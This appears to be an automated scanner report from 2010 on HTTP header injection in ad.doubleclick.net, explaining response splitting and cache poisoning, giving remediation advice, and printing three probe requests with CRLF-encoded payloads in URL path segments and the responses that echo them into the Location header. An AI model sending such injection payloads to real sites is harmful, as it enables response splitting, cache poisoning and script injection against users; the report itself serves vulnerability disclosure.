HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 1 is copied into the Location response header. The payload 76bc9%0d%0a20f6af1a7a3 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /76bc9%0d%0a20f6af1a7a3/redirect_5098820_121410.html HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/76bc9 20f6af1a7a3/redirect_5098820_121410.html: Date: Sun, 19 Dec 2010 02:58:47 GMT Server: GFE/2.0 Connection: close
The value of REST URL parameter 1 is copied into the Location response header. The payload 33122%0d%0afcd7b3355ba was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /33122%0d%0afcd7b3355ba/redirect_5098820_121410.html/ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/33122 fcd7b3355ba/redirect_5098820_121410.html/: Date: Sun, 19 Dec 2010 02:58:47 GMT Server: GFE/2.0 Connection: close
The value of REST URL parameter 2 is copied into the Location response header. The payload 386db%0d%0a625739c3f59 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /3019381/redirect_5098820_121410.html386db%0d%0a625739c3f59/ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/3019381/redirect_5098820_121410.html386db 625739c3f59/: Date: Sun, 19 Dec 2010 02:58:47 GMT Server: GFE/2.0 Connection: close
<h1>Error 302 Moved Temporarily</h1>
Report generated by XSS.CX at Sun Dec 19 06:46:25 CST 2010.